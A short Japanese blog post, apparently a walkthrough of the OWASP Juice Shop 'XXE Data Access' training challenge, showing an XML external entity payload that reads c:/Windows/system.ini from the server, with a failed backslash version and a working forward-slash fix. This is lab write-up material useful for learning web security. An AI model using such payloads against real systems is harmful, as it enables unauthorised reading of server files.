Shikata Ga Nai

Private? There is no such things.

Juice ShopのXXE Data Accessをやってみた

Hello there, ('ω')ノ

 

サーバからsystem.iniかpasswdのコンテンツを取得しなさいと。

 

f:id:ThisIsOne:20210703140004p:plain

 

Complaintメニューから。

 

f:id:ThisIsOne:20210703140033p:plain

 

PDFファイルをアップロードして。

 

f:id:ThisIsOne:20210703144939p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210703145012p:plain

 

Juice Shopは、Windowsに構築しているので。

下記のようなXMLをリクエストしたのですが。

なかなかうまくいかず。

簡単な問題に1,2時間悩んだ末、ファイルの指定に問題があって。

 

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:\Windows\system.ini">
]>
<r>&sp;</r>

 

下記のように変更すると。

 

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/Windows/system.ini">
]>
<r>&sp;</r>

 

f:id:ThisIsOne:20210703152112p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210703150557p:plain

 

Best regards, (^^ゞ